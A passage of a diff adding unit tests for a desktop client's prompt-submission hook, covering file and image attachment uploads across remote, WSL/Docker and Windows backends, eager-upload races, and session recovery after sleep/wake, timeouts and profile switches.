+    await handle!.restoreToMessage('runtime-user-id-not-in-store', {
+      text: 'first prompt',
+      userOrdinal: 0
+    })
+
+    expect(requestGateway).toHaveBeenCalledWith(
+      'prompt.submit',
+      {
+        session_id: RUNTIME_SESSION_ID,
+        text: 'first prompt',
+        confirm_truncate: true,
+        truncate_before_user_ordinal: 0,
+        confirm_empty_truncate: true
+      },
+      1_800_000
+    )
+    expect((lastState.messages as { id: string }[]).map(m => m.id)).toEqual(['u1'])
+  })
+})
+
+describe('usePromptActions file attachment sync', () => {
+  afterEach(() => {
+    cleanup()
+    $connection.set(null)
+    $currentCwd.set('')
+    vi.restoreAllMocks()
+  })
+
+  function fileAttachment(): ComposerAttachment {
+    return {
+      id: 'file:report.txt',
+      kind: 'file',
+      label: 'report.txt',
+      path: '/Users/alice/Downloads/report.txt',
+      refText: '@file:`/Users/alice/Downloads/report.txt`'
+    }
+  }
+
+  it('uploads file bytes via file.attach on a remote gateway and submits the rewritten ref', async () => {
+    // Remote gateway can't read the client-disk path, so the desktop must upload
+    // the bytes and submit the workspace-relative ref the gateway hands back —
+    // not the original /Users/... path (which would dead-end as "outside the
+    // allowed workspace").
+    $connection.set({ mode: 'remote' } as never)
+    Object.defineProperty(window, 'clawcodexDesktop', {
+      configurable: true,
+      value: { readFileDataUrl: vi.fn(async () => 'data:text/plain;base64,aGVsbG8=') }
+    })
+
+    const calls: { method: string; params?: Record<string, unknown> }[] = []
+
+    const requestGateway = vi.fn(async (method: string, params?: Record<string, unknown>) => {
+      calls.push({ method, params })
+
+      if (method === 'file.attach') {
+        return {
+          attached: true,
+          path: '/remote/work/.clawcodex/desktop-attachments/report.txt',
+          ref_text: '@file:.clawcodex/desktop-attachments/report.txt',
+          uploaded: true
+        } as never
+      }
+
+      return {} as never
+    })
+
+    let handle: HarnessHandle | null = null
+    await actRender(
+      <Harness onReady={h => (handle = h)} refreshSessions={async () => undefined} requestGateway={requestGateway} />
+    )
+
+    const ok = await handle!.submitText('convert this to epub', { attachments: [fileAttachment()] })
+
+    expect(ok).toBe(true)
+    expect(calls.map(c => c.method)).toEqual(['file.attach', 'prompt.submit'])
+    expect(calls[0]?.params).toMatchObject({
+      session_id: RUNTIME_SESSION_ID,
+      path: '/Users/alice/Downloads/report.txt',
+      name: 'report.txt',
+      data_url: 'data:text/plain;base64,aGVsbG8='
+    })
+    expect(calls[1]?.params).toEqual({
+      session_id: RUNTIME_SESSION_ID,
+      text: '@file:.clawcodex/desktop-attachments/report.txt\n\nconvert this to epub'
+    })
+  })
+
+  it('uploads Windows file bytes when local mode fronts a POSIX WSL/Docker backend', async () => {
+    $connection.set({ mode: 'local' } as never)
+    $currentCwd.set('/root')
+    const readFileDataUrl = vi.fn(async () => 'data:text/plain;base64,aGVsbG8=')
+    Object.defineProperty(window, 'clawcodexDesktop', {
+      configurable: true,
+      value: { readFileDataUrl }
+    })
+
+    const attachment: ComposerAttachment = {
+      ...fileAttachment(),
+      path: 'C:\\Users\\alice\\Downloads\\report.txt',
+      refText: '@file:`C:\\Users\\alice\\Downloads\\report.txt`'
+    }
+
+    const calls: { method: string; params?: Record<string, unknown> }[] = []
+
+    const requestGateway = vi.fn(async (method: string, params?: Record<string, unknown>) => {
+      calls.push({ method, params })
+
+      if (method === 'file.attach') {
+        return {
+          attached: true,
+          path: '/root/.clawcodex/desktop-attachments/report.txt',
+          ref_text: '@file:.clawcodex/desktop-attachments/report.txt',
+          uploaded: true
+        } as never
+      }
+
+      return {} as never
+    })
+
+    let handle: HarnessHandle | null = null
+    await actRender(
+      <Harness onReady={h => (handle = h)} refreshSessions={async () => undefined} requestGateway={requestGateway} />
+    )
+
+    expect(await handle!.submitText('summarize', { attachments: [attachment] })).toBe(true)
+    expect(readFileDataUrl).toHaveBeenCalledWith('C:\\Users\\alice\\Downloads\\report.txt')
+    expect(calls[0]).toEqual({
+      method: 'file.attach',
+      params: {
+        data_url: 'data:text/plain;base64,aGVsbG8=',
+        name: 'report.txt',
+        path: 'C:\\Users\\alice\\Downloads\\report.txt',
+        session_id: RUNTIME_SESSION_ID
+      }
+    })
+    expect(calls[1]).toEqual({
+      method: 'prompt.submit',
+      params: { session_id: RUNTIME_SESSION_ID, text: '@file:.clawcodex/desktop-attachments/report.txt\n\nsummarize' }
+    })
+  })
+
+  it('uses image.attach_bytes for a Windows image when the local backend cwd is POSIX', async () => {
+    const readFileDataUrl = vi.fn(async () => 'data:image/jpeg;base64,aGVsbG8=')
+    Object.defineProperty(window, 'clawcodexDesktop', {
+      configurable: true,
+      value: { readFileDataUrl }
+    })
+
+    const requestGateway = vi.fn(async (method: string) => {
+      if (method === 'image.attach_bytes') {
+        return { attached: true, path: '/root/tmp/photo.jpg' } as never
+      }
+
+      return {} as never
+    })
+
+    const uploaded = await uploadComposerAttachment(
+      {
+        id: 'image:photo.jpg',
+        kind: 'image',
+        label: 'photo.jpg',
+        path: 'C:\\Users\\alice\\Pictures\\photo.jpg'
+      },
+      {
+        backendCwd: '/root',
+        remote: false,
+        requestGateway,
+        sessionId: RUNTIME_SESSION_ID
+      }
+    )
+
+    expect(readFileDataUrl).toHaveBeenCalledWith('C:\\Users\\alice\\Pictures\\photo.jpg')
+    expect(requestGateway).toHaveBeenCalledWith('image.attach_bytes', {
+      content_base64: 'aGVsbG8=',
+      filename: 'photo.jpg',
+      session_id: RUNTIME_SESSION_ID
+    })
+    expect(requestGateway).not.toHaveBeenCalledWith('image.attach', expect.anything())
+    expect(uploaded.path).toBe('/root/tmp/photo.jpg')
+  })
+
+  it('passes a path-less @file: ref straight through (no path = nothing to upload)', async () => {
+    // Submit-layer contract: only attachments that carry a `path` are upload
+    // candidates. A path-less ref (an @-mention/context ref or pasted text)
+    // has no bytes to send, so syncAttachments leaves it untouched and the ref
+    // reaches the gateway as-is — correct for workspace-relative refs.
+    //
+    // The MahmoudR drag-drop bug (a Finder PDF that became a local-path text
+    // ref in remote mode) is fixed upstream at the DROP layer: OS drops now
+    // carry a path and route through the upload pipeline instead of becoming a
+    // path-less inline ref. See partitionDroppedFiles in use-composer-actions.
+    $connection.set({ mode: 'remote' } as never)
+    const readFileDataUrl = vi.fn(async () => 'data:application/pdf;base64,JVBERi0=')
+    Object.defineProperty(window, 'clawcodexDesktop', {
+      configurable: true,
+      value: { readFileDataUrl }
+    })
+
+    const pathlessRef: ComposerAttachment = {
+      id: 'file:devis',
+      kind: 'file',
+      label: 'DEVIS_signed.pdf',
+      // NOTE: no `path` field — only the pre-baked local @file: ref.
+      refText: '@file:`/Users/mahmoud/Downloads/DEVIS_signed.pdf`'
+    }
+
+    const calls: { method: string; params?: Record<string, unknown> }[] = []
+
+    const requestGateway = vi.fn(async (method: string, params?: Record<string, unknown>) => {
+      calls.push({ method, params })
+
+      return {} as never
+    })
+
+    let handle: HarnessHandle | null = null
+    await actRender(
+      <Harness onReady={h => (handle = h)} refreshSessions={async () => undefined} requestGateway={requestGateway} />
+    )
+
+    const ok = await handle!.submitText('read this file', { attachments: [pathlessRef] })
+
+    expect(ok).toBe(true)
+    // No path → no file.attach, no byte read: the ref passes through unchanged.
+    expect(calls.map(c => c.method)).toEqual(['prompt.submit'])
+    expect(readFileDataUrl).not.toHaveBeenCalled()
+    expect(calls[0]?.params?.text).toContain('@file:`/Users/mahmoud/Downloads/DEVIS_signed.pdf`')
+  })
+
+  it('passes a Windows path directly for a native Windows local backend', async () => {
+    $connection.set({ mode: 'local' } as never)
+    $currentCwd.set('C:\\Users\\alice\\project')
+    const readFileDataUrl = vi.fn(async () => 'data:text/plain;base64,c2hvdWxkLW5vdC1iZS1yZWFk')
+    Object.defineProperty(window, 'clawcodexDesktop', {
+      configurable: true,
+      value: { readFileDataUrl }
+    })
+
+    const attachment: ComposerAttachment = {
+      ...fileAttachment(),
+      path: 'C:\\Users\\alice\\Downloads\\report.txt',
+      refText: '@file:`C:\\Users\\alice\\Downloads\\report.txt`'
+    }
+
+    const calls: { method: string; params?: Record<string, unknown> }[] = []
+
+    const requestGateway = vi.fn(async (method: string, params?: Record<string, unknown>) => {
+      calls.push({ method, params })
+
+      if (method === 'file.attach') {
+        return { attached: true, ref_text: '@file:data/report.txt', uploaded: false } as never
+      }
+
+      return {} as never
+    })
+
+    let handle: HarnessHandle | null = null
+    await actRender(
+      <Harness onReady={h => (handle = h)} refreshSessions={async () => undefined} requestGateway={requestGateway} />
+    )
+
+    const ok = await handle!.submitText('summarize', { attachments: [attachment] })
+
+    expect(ok).toBe(true)
+    expect(calls[0]?.method).toBe('file.attach')
+    expect(readFileDataUrl).not.toHaveBeenCalled()
+    // Native Windows local mode shares the same path namespace.
+    expect(calls[0]?.params).not.toHaveProperty('data_url')
+    expect(calls[1]).toEqual({
+      method: 'prompt.submit',
+      params: { session_id: RUNTIME_SESSION_ID, text: '@file:data/report.txt\n\nsummarize' }
+    })
+  })
+})
+
+describe('usePromptActions eager-upload races', () => {
+  beforeEach(() => {
+    setSessions(() => [sessionInfo()])
+    $composerAttachments.set([])
+  })
+
+  afterEach(() => {
+    cleanup()
+    $composerAttachments.set([])
+    $connection.set(null)
+    vi.restoreAllMocks()
+  })
+
+  it('joins an in-flight eager upload at submit instead of staging the file twice', async () => {
+    // Drop-then-immediately-Enter: the drop kicks off an eager file.attach; if
+    // submit doesn't join it, both calls stage the file and leave a duplicate
+    // under .clawcodex/desktop-attachments/. Submit must await the in-flight upload
+    // and reuse its gateway-side ref.
+    $connection.set({ mode: 'remote' } as never)
+    Object.defineProperty(window, 'clawcodexDesktop', {
+      configurable: true,
+      value: { readFileDataUrl: vi.fn(async () => 'data:application/pdf;base64,JVBERi0=') }
+    })
+
+    let releaseAttach: () => void = () => {}
+    const methods: string[] = []
+
+    const requestGateway = vi.fn(async (method: string) => {
+      methods.push(method)
+
+      if (method === 'file.attach') {
+        // Block until released so submit runs while the upload is in flight.
+        await new Promise<void>(resolve => {
+          releaseAttach = resolve
+        })
+
+        return { attached: true, ref_text: '@file:.clawcodex/desktop-attachments/doc.pdf', uploaded: true } as never
+      }
+
+      return {} as never
+    })
+
+    let handle: HarnessHandle | null = null
+    await actRender(
+      <Harness onReady={h => (handle = h)} refreshSessions={async () => undefined} requestGateway={requestGateway} />
+    )
+    await waitFor(() => expect(handle).not.toBeNull())
+
+    // Drop a file → the eager effect fires file.attach and blocks on it.
+    $composerAttachments.set([{ id: 'file:doc.pdf', kind: 'file', label: 'doc.pdf', path: '/Users/me/doc.pdf' }])
+    await waitFor(() => expect(methods.filter(m => m === 'file.attach').length).toBe(1))
+
+    // Submit reads the store, sees the upload in flight, and joins it.
+    const submitting = handle!.submitText('here you go')
+    releaseAttach()
+
+    expect(await submitting).toBe(true)
+    // Exactly one file.attach (submit reused the eager result), then the send.
+    expect(methods.filter(m => m === 'file.attach').length).toBe(1)
+    expect(methods).toContain('prompt.submit')
+  })
+})
+
+describe('usePromptActions sleep/wake session recovery', () => {
+  const STORED_SESSION_ID = 'stored-db-xyz789'
+  const RECOVERED_SESSION_ID = 'rt-recovered-456'
+
+  afterEach(() => {
+    cleanup()
+    $turnStartedAt.set(null)
+    vi.restoreAllMocks()
+  })
+
+  it('resumes the stored session and retries once when prompt.submit reports "session not found"', async () => {
+    // After sleep/wake the gateway's in-memory session table is cleared, so the
+    // first prompt.submit with the stale runtime id fails. The hook resumes the
+    // durable stored id (which survives gateway restarts), gets a fresh live id,
+    // and retries the send transparently.
+    const calls: { method: string; params?: Record<string, unknown> }[] = []
+    let submitAttempts = 0
+
+    const requestGateway = vi.fn(async (method: string, params?: Record<string, unknown>) => {
+      calls.push({ method, params })
+
+      if (method === 'prompt.submit') {
+        submitAttempts += 1
+
+        if (submitAttempts === 1) {
+          throw new Error('session not found')
+        }
+
+        return {} as never
+      }
+
+      if (method === 'session.resume') {
+        return { session_id: RECOVERED_SESSION_ID } as never
+      }
+
+      return {} as never
+    })
+
+    let handle: HarnessHandle | null = null
+    await actRender(
+      <Harness
+        onReady={h => (handle = h)}
+        refreshSessions={async () => undefined}
+        requestGateway={requestGateway}
+        storedSessionId={STORED_SESSION_ID}
+      />
+    )
+
+    const ok = await handle!.submitText('message after wake')
+
+    expect(ok).toBe(true)
+    // First submit (stale id) → session.resume (stored id) → retry submit (fresh id).
+    expect(calls.map(c => c.method)).toEqual(['prompt.submit', 'session.resume', 'prompt.submit'])
+    expect(calls[1]?.params).toEqual({ session_id: STORED_SESSION_ID, source: 'desktop', omit_messages: true })
+    expect(calls[2]?.params).toEqual({ session_id: RECOVERED_SESSION_ID, text: 'message after wake' })
+  })
+
+  // #67603 (second symptom): a recovery resume must re-register on the session's
+  // OWNING profile. Resuming on whichever profile is live forks the conversation
+  // into the wrong profile's DB — the session then appears under both profiles.
+  it('carries the owning profile from the cache into the recovery resume', async () => {
+    setSessions(() => [sessionInfo({ id: STORED_SESSION_ID, profile: 'work' })])
+
+    const calls: { method: string; params?: Record<string, unknown> }[] = []
+    let submitAttempts = 0
+
+    const requestGateway = vi.fn(async (method: string, params?: Record<string, unknown>) => {
+      calls.push({ method, params })
+
+      if (method === 'prompt.submit') {
+        submitAttempts += 1
+
+        if (submitAttempts === 1) {
+          throw new Error('session not found')
+        }
+
+        return {} as never
+      }
+
+      if (method === 'session.resume') {
+        return { session_id: RECOVERED_SESSION_ID } as never
+      }
+
+      return {} as never
+    })
+
+    let handle: HarnessHandle | null = null
+    await actRender(
+      <Harness
+        onReady={h => (handle = h)}
+        refreshSessions={async () => undefined}
+        requestGateway={requestGateway}
+        storedSessionId={STORED_SESSION_ID}
+      />
+    )
+
+    expect(await handle!.submitText('message after wake')).toBe(true)
+    expect(calls[1]?.params).toEqual({
+      session_id: STORED_SESSION_ID,
+      source: 'desktop',
+      omit_messages: true,
+      profile: 'work'
+    })
+
+    setSessions(() => [])
+  })
+
+  // The session lives on another profile and is outside the paginated sidebar
+  // cache: resolve it by id across profiles rather than resuming profile-blind.
+  it('resolves the owning profile across profiles when the session is not cached', async () => {
+    // module-factory vi.fn is not reset by restoreAllMocks — reset explicitly in
+    // the finally below so this resolved value never leaks into sibling tests.
+    setSessions(() => [])
+    vi.mocked(getSession).mockResolvedValue(sessionInfo({ id: STORED_SESSION_ID, profile: 'work' }))
+
+    const calls: { method: string; params?: Record<string, unknown> }[] = []
+    let submitAttempts = 0
+
+    const requestGateway = vi.fn(async (method: string, params?: Record<string, unknown>) => {
+      calls.push({ method, params })
+
+      if (method === 'prompt.submit') {
+        submitAttempts += 1
+
+        if (submitAttempts === 1) {
+          throw new Error('session not found')
+        }
+
+        return {} as never
+      }
+
+      if (method === 'session.resume') {
+        return { session_id: RECOVERED_SESSION_ID } as never
+      }
+
+      return {} as never
+    })
+
+    let handle: HarnessHandle | null = null
+    await actRender(
+      <Harness
+        onReady={h => (handle = h)}
+        refreshSessions={async () => undefined}
+        requestGateway={requestGateway}
+        storedSessionId={STORED_SESSION_ID}
+      />
+    )
+
+    expect(await handle!.submitText('message after wake')).toBe(true)
+    expect(calls[1]?.params).toEqual({
+      session_id: STORED_SESSION_ID,
+      source: 'desktop',
+      omit_messages: true,
+      profile: 'work'
+    })
+
+    vi.mocked(getSession).mockReset()
+    setSessions(() => [])
+  })
+
+  it('background queue resume uses the queued stored id and leaves foreground runtime selected', async () => {
+    const calls: { method: string; params?: Record<string, unknown> }[] = []
+    let submitAttempts = 0
+
+    const requestGateway = vi.fn(async (method: string, params?: Record<string, unknown>) => {
+      calls.push({ method, params })
+
+      if (method === 'prompt.submit') {
+        submitAttempts += 1
+
+        if (submitAttempts === 1) {
+          throw new Error('session not found')
+        }
+
+        return {} as never
+      }
+
+      if (method === 'session.resume') {
+        return { session_id: RECOVERED_SESSION_ID } as never
+      }
+
+      return {} as never
+    })
+
+    let handle: HarnessHandle | null = null
+    render(
+      <Harness
+        // The central binding is stale in lockstep with the caller here: the
+        // sleep/wake reaper only clears the GATEWAY's in-memory session, so
+        // client-side state still swears by the old runtime id. That is what
+        // routes this case to the reactive 404→resume→retry path instead of
+        // the proactive binding check (covered by the cross-session drain
+        // tests above).
+        getRuntimeIdForStoredSession={storedId => (storedId === STORED_SESSION_ID ? 'rt-background-stale' : null)}
+        onReady={h => (handle = h)}
+        refreshSessions={async () => undefined}
+        requestGateway={requestGateway}
+        storedSessionId="stored-foreground"
+      />
+    )
+    await waitFor(() => expect(handle).not.toBeNull())
+
+    const ok = await handle!.submitText('queued background message after wake', {
+      fromQueue: true,
+      sessionId: 'rt-background-stale',
+      storedSessionId: STORED_SESSION_ID
+    })
+
+    expect(ok).toBe(true)
+    expect(calls.map(c => c.method)).toEqual(['prompt.submit', 'session.resume', 'prompt.submit'])
+    expect(calls[0]?.params).toEqual({
+      queued: true,
+      session_id: 'rt-background-stale',
+      text: 'queued background message after wake'
+    })
+    expect(calls[1]?.params).toEqual({
+      session_id: STORED_SESSION_ID,
+      source: 'desktop',
+      omit_messages: true
+    })
+    expect(calls[2]?.params).toEqual({
+      queued: true,
+      session_id: RECOVERED_SESSION_ID,
+      text: 'queued background message after wake'
+    })
+    expect(handle!.activeSessionIdRef.current).toBe(RUNTIME_SESSION_ID)
+  })
+
+  it('resumes the stored session and retries once when session.interrupt reports "session not found"', async () => {
+    const calls: { method: string; params?: Record<string, unknown> }[] = []
+    let interruptAttempts = 0
+
+    const requestGateway = vi.fn(async (method: string, params?: Record<string, unknown>) => {
+      calls.push({ method, params })
+
+      if (method === 'session.interrupt') {
+        interruptAttempts += 1
+
+        if (interruptAttempts === 1) {
+          throw new Error('session not found')
+        }
+
+        return {} as never
+      }
+
+      if (method === 'session.resume') {
+        return { session_id: RECOVERED_SESSION_ID } as never
+      }
+
+      return {} as never
+    })
+
+    let handle: HarnessHandle | null = null
+    await actRender(
+      <Harness
+        onReady={h => (handle = h)}
+        refreshSessions={async () => undefined}
+        requestGateway={requestGateway}
+        storedSessionId={STORED_SESSION_ID}
+      />
+    )
+    await waitFor(() => expect(handle).not.toBeNull())
+
+    await handle!.cancelRun()
+
+    expect(calls.map(c => c.method)).toEqual(['session.interrupt', 'session.resume', 'session.interrupt'])
+    expect(calls[0]?.params).toEqual({ session_id: RUNTIME_SESSION_ID })
+    expect(calls[1]?.params).toEqual({
+      session_id: STORED_SESSION_ID,
+      source: 'desktop',
+      omit_messages: true
+    })
+    expect(calls[2]?.params).toEqual({ session_id: RECOVERED_SESSION_ID })
+  })
+
+  it('clears the active and cached turn clocks when stopping a turn', async () => {
+    const states: Record<string, unknown>[] = []
+    const requestGateway = vi.fn(async () => ({}) as never)
+    $turnStartedAt.set(1_700_000_000_000)
+
+    let handle: HarnessHandle | null = null
+    await actRender(
+      <Harness
+        onReady={h => (handle = h)}
+        onSeedState={state => states.push(state)}
+        refreshSessions={async () => undefined}
+        requestGateway={requestGateway}
+      />
+    )
+
+    await handle!.cancelRun()
+
+    expect($turnStartedAt.get()).toBeNull()
+    expect(states.at(-1)).toMatchObject({
+      awaitingResponse: false,
+      busy: false,
+      interrupted: true,
+      turnStartedAt: null
+    })
+  })
+
+  it('surfaces the original error (no resume) when the failure is not "session not found"', async () => {
+    const calls: string[] = []
+    const states: Record<string, unknown>[] = []
+
+    const requestGateway = vi.fn(async (method: string) => {
+      calls.push(method)
+
+      if (method === 'prompt.submit') {
+        throw new Error('gateway exploded')
+      }
+
+      return {} as never
+    })
+
+    let handle: HarnessHandle | null = null
+    await actRender(
+      <Harness
+        onReady={h => (handle = h)}
+        onSeedState={s => states.push(s)}
+        refreshSessions={async () => undefined}
+        requestGateway={requestGateway}
+        storedSessionId={STORED_SESSION_ID}
+      />
+    )
+
+    // submitText swallows the error into an inline bubble and returns false.
+    expect(await handle!.submitText('message')).toBe(false)
+    // No resume attempt for a non-recoverable error.
+    expect(calls).not.toContain('session.resume')
+  })
+
+  it('surfaces "session not found" (no resume) when there is no stored session id', async () => {
+    const calls: string[] = []
+
+    const requestGateway = vi.fn(async (method: string) => {
+      calls.push(method)
+
+      if (method === 'prompt.submit') {
+        throw new Error('session not found')
+      }
+
+      return {} as never
+    })
+
+    let handle: HarnessHandle | null = null
+    await actRender(
+      <Harness
+        onReady={h => (handle = h)}
+        refreshSessions={async () => undefined}
+        requestGateway={requestGateway}
+        storedSessionId={null}
+      />
+    )
+
+    // With a null stored ref, the `&& selectedStoredSessionIdRef.current` guard
+    // short-circuits — no resume is attempted and the error surfaces normally.
+    expect(await handle!.submitText('message')).toBe(false)
+    expect(calls).not.toContain('session.resume')
+  })
+
+  it('recovers via session.resume when prompt.submit TIMES OUT and a stored session is selected (#55578)', async () => {
+    // A starved gateway loop rejects with "request timed out: prompt.submit".
+    // With a stored session selected, that must recover exactly like
+    // "session not found" — resume + retry — not surface an error that leaves
+    // activeSessionId null and lets the next send mint a new session.
+    const calls: { method: string; params?: Record<string, unknown> }[] = []
+    let submitAttempts = 0
+
+    const requestGateway = vi.fn(async (method: string, params?: Record<string, unknown>) => {
+      calls.push({ method, params })
+
+      if (method === 'prompt.submit') {
+        submitAttempts += 1
+
+        if (submitAttempts === 1) {
+          throw new Error('request timed out: prompt.submit')
+        }
+
+        return {} as never
+      }
+
+      if (method === 'session.resume') {
+        return { session_id: RECOVERED_SESSION_ID } as never
+      }
+
+      return {} as never
+    })
+
+    let handle: HarnessHandle | null = null
+    await actRender(
+      <Harness
+        onReady={h => (handle = h)}
+        refreshSessions={async () => undefined}
+        requestGateway={requestGateway}
+        storedSessionId={STORED_SESSION_ID}
+      />
+    )
+
+    const ok = await handle!.submitText('message during starved loop')
+
+    expect(ok).toBe(true)
+    expect(calls.map(c => c.method)).toEqual(['prompt.submit', 'session.resume', 'prompt.submit'])
+    expect(calls[1]?.params).toEqual({
+      session_id: STORED_SESSION_ID,
+      source: 'desktop',
+      omit_messages: true
+    })
+    expect(calls[2]?.params).toEqual({
+      session_id: RECOVERED_SESSION_ID,
+      text: 'message during starved loop'
+    })
+  })
+
+  it('resumes the SELECTED stored session instead of minting a new one when activeSessionId is null (#55578 split)', async () => {
+    // The exact split path from #55578 symptom (b): the runtime binding is
+    // gone (orphan-reaped / cleared by a timeout) but a stored session is
+    // still selected in the sidebar. A follow-up submit must continue that
+    // conversation via session.resume — createBackendSessionForSend would
+    // silently fork the user's chat in two.
+    const calls: { method: string; params?: Record<string, unknown> }[] = []
+    const createBackendSessionForSend = vi.fn(async () => 'brand-new-session-WRONG')
+
+    const requestGateway = vi.fn(async (method: string, params?: Record<string, unknown>) => {
+      calls.push({ method, params })
+
+      if (method === 'session.resume') {
+        return { session_id: RECOVERED_SESSION_ID } as never
+      }
+
+      return {} as never
+    })
+
+    let handle: HarnessHandle | null = null
+    await actRender(
+      <Harness
+        activeSessionId={null}
+        createBackendSessionForSend={createBackendSessionForSend}
+        onReady={h => (handle = h)}
+        refreshSessions={async () => undefined}
+        requestGateway={requestGateway}
+        storedSessionId={STORED_SESSION_ID}
+      />
+    )
+
+    const ok = await handle!.submitText('follow-up in the selected chat')
+
+    expect(ok).toBe(true)
+    expect(createBackendSessionForSend).not.toHaveBeenCalled()
+    expect(calls.map(c => c.method)).toEqual(['session.resume', 'prompt.submit'])
+    expect(calls[0]?.params).toEqual({
+      session_id: STORED_SESSION_ID,
+      source: 'desktop',
+      omit_messages: true
+    })
+    expect(calls[1]?.params).toMatchObject({ session_id: RECOVERED_SESSION_ID })
+  })
+
+  it('never replaces a selected stored session when its direct runtime resume fails', async () => {
+    const activeSessionIdRef: MutableRefObject<string | null> = { current: null }
+    const busyRef: MutableRefObject<boolean> = { current: false }
+    const createBackendSessionForSend = vi.fn(async () => 'brand-new-session-WRONG')
+
+    const requestGateway = vi.fn(async (method: string) => {
+      if (method === 'session.resume') {
+        throw new Error('4007 session not found on the active profile')
+      }
+
+      return {} as never
+    })
+
+    let handle: HarnessHandle | null = null
+    await actRender(
+      <Harness
+        activeSessionId={null}
+        activeSessionIdRef={activeSessionIdRef}
+        busyRef={busyRef}
+        createBackendSessionForSend={createBackendSessionForSend}
+        onReady={h => (handle = h)}
+        refreshSessions={async () => undefined}
+        requestGateway={requestGateway}
+        storedSessionId={STORED_SESSION_ID}
+      />
+    )
+
+    expect(await handle!.submitText('keep me in the selected conversation')).toBe(false)
+    expect(busyRef.current).toBe(false)
+    expect(createBackendSessionForSend).not.toHaveBeenCalled()
+    expect(requestGateway).not.toHaveBeenCalledWith('prompt.submit', expect.anything(), expect.anything())
+  })
+
+  it('resumes the ROUTED stored session instead of minting a new one when profile switching cleared both session refs', async () => {
+    // A profile swap/reconnect can temporarily clear both volatile ids while
+    // the durable route still points at the conversation the user is viewing.
+    // Enter during that window must resume the routed chat, never create a
+    // contextless session (or create it against the transient wrong profile).
+    const activeSessionIdRef: MutableRefObject<string | null> = { current: 'rt-wrong-profile' }
+    const selectedStoredSessionIdRef: MutableRefObject<string | null> = { current: null }
+    let boundRuntimeId: string | null = null
+    const createBackendSessionForSend = vi.fn(async () => 'brand-new-session-WRONG')
+    const requestGateway = vi.fn(async () => ({}) as never)
+
+    const resumeStoredSession = vi.fn(async (storedSessionId: string) => {
+      expect(storedSessionId).toBe(STORED_SESSION_ID)
+      selectedStoredSessionIdRef.current = STORED_SESSION_ID
+      activeSessionIdRef.current = RECOVERED_SESSION_ID
+      boundRuntimeId = RECOVERED_SESSION_ID
+    })
+
+    let handle: HarnessHandle | null = null
+    await actRender(
+      <Harness
+        activeSessionId="rt-wrong-profile"
+        activeSessionIdRef={activeSessionIdRef}
+        createBackendSessionForSend={createBackendSessionForSend}
+        getRoutedStoredSessionId={() => STORED_SESSION_ID}
+        getRuntimeIdForStoredSession={() => boundRuntimeId}
+        onReady={h => (handle = h)}
+        refreshSessions={async () => undefined}
+        requestGateway={requestGateway}
+        resumeStoredSession={resumeStoredSession}
+        selectedStoredSessionIdRef={selectedStoredSessionIdRef}
+        storedSessionId={null}
+      />
+    )
+
+    expect(await handle!.submitText('follow-up while the profile route is rebinding')).toBe(true)
+    expect(resumeStoredSession).toHaveBeenCalledWith(STORED_SESSION_ID)
+    expect(createBackendSessionForSend).not.toHaveBeenCalled()
+    expect(requestGateway).toHaveBeenCalledWith(
+      'prompt.submit',
+      { session_id: RECOVERED_SESSION_ID, text: 'follow-up while the profile route is rebinding' },
+      1_800_000
+    )
+  })
+
+  it('lets the durable route replace a stale selected session and runtime before submit', async () => {
+    const activeSessionIdRef: MutableRefObject<string | null> = { current: 'rt-wrong-profile' }
+    const selectedStoredSessionIdRef: MutableRefObject<string | null> = { current: 'stored-wrong-profile' }
+    let boundRuntimeId: string | null = null
+    const requestGateway = vi.fn(async () => ({}) as never)
+
+    const resumeStoredSession = vi.fn(async () => {
+      selectedStoredSessionIdRef.current = STORED_SESSION_ID
+      activeSessionIdRef.current = RECOVERED_SESSION_ID
+      boundRuntimeId = RECOVERED_SESSION_ID
+    })
+
+    let handle: HarnessHandle | null = null
+    await actRender(
+      <Harness
+        activeSessionId="rt-wrong-profile"
+        activeSessionIdRef={activeSessionIdRef}
+        getRoutedStoredSessionId={() => STORED_SESSION_ID}
+        getRuntimeIdForStoredSession={() => boundRuntimeId}
+        onReady={h => (handle = h)}
+        refreshSessions={async () => undefined}
+        requestGateway={requestGateway}
+        resumeStoredSession={resumeStoredSession}
+        selectedStoredSessionIdRef={selectedStoredSessionIdRef}
+        storedSessionId={STORED_SESSION_ID}
+      />
+    )
+
+    expect(await handle!.submitText('stay in the routed profile session')).toBe(true)
+    expect(resumeStoredSession).toHaveBeenCalledWith(STORED_SESSION_ID)
+    expect(requestGateway).toHaveBeenCalledWith(
+      'prompt.submit',
+      { session_id: RECOVERED_SESSION_ID, text: 'stay in the routed profile session' },
+      1_800_000
+    )
+  })
+
+  it('submits directly when the routed stored session already owns the live runtime', async () => {
+    const activeSessionIdRef: MutableRefObject<string | null> = { current: RECOVERED_SESSION_ID }
+    const selectedStoredSessionIdRef: MutableRefObject<string | null> = { current: STORED_SESSION_ID }
+    const requestGateway = vi.fn(async () => ({}) as never)
+    const resumeStoredSession = vi.fn()
+
+    let handle: HarnessHandle | null = null
+    await actRender(
+      <Harness
+        activeSessionId={RECOVERED_SESSION_ID}
+        activeSessionIdRef={activeSessionIdRef}
+        getRoutedStoredSessionId={() => STORED_SESSION_ID}
+        getRuntimeIdForStoredSession={() => RECOVERED_SESSION_ID}
+        onReady={h => (handle = h)}
+        refreshSessions={async () => undefined}
+        requestGateway={requestGateway}
+        resumeStoredSession={resumeStoredSession}
+        selectedStoredSessionIdRef={selectedStoredSessionIdRef}
+        storedSessionId={STORED_SESSION_ID}
+      />
+    )
+
+    expect(await handle!.submitText('normal follow-up')).toBe(true)
+    expect(resumeStoredSession).not.toHaveBeenCalled()
+    expect(requestGateway).toHaveBeenCalledWith(
+      'prompt.submit',
+      { session_id: RECOVERED_SESSION_ID, text: 'normal follow-up' },
+      1_800_000
+    )
+  })
+
+  it('never falls through to session.create or a stale runtime when routed-session recovery fails', async () => {
+    const activeSessionIdRef: MutableRefObject<string | null> = { current: 'rt-wrong-profile' }
+    const selectedStoredSessionIdRef: MutableRefObject<string | null> = { current: STORED_SESSION_ID }
+    const busyRef: MutableRefObject<boolean> = { current: false }
+    let recoverySucceeds = false
+    let boundRuntimeId: string | null = null
+
+    const createBackendSessionForSend = vi.fn(async () => 'brand-new-session-WRONG')
+    const requestGateway = vi.fn(async () => ({}) as never)
+
+    const resumeStoredSession = vi.fn(async () => {
+      if (!recoverySucceeds) {
+        return
+      }
+
+      activeSessionIdRef.current = RECOVERED_SESSION_ID
+      boundRuntimeId = RECOVERED_SESSION_ID
+    })
+
+    $messages.set([])
+
+    let handle: HarnessHandle | null = null
+    await actRender(
+      <Harness
+        activeSessionId="rt-wrong-profile"
+        activeSessionIdRef={activeSessionIdRef}
+        busyRef={busyRef}
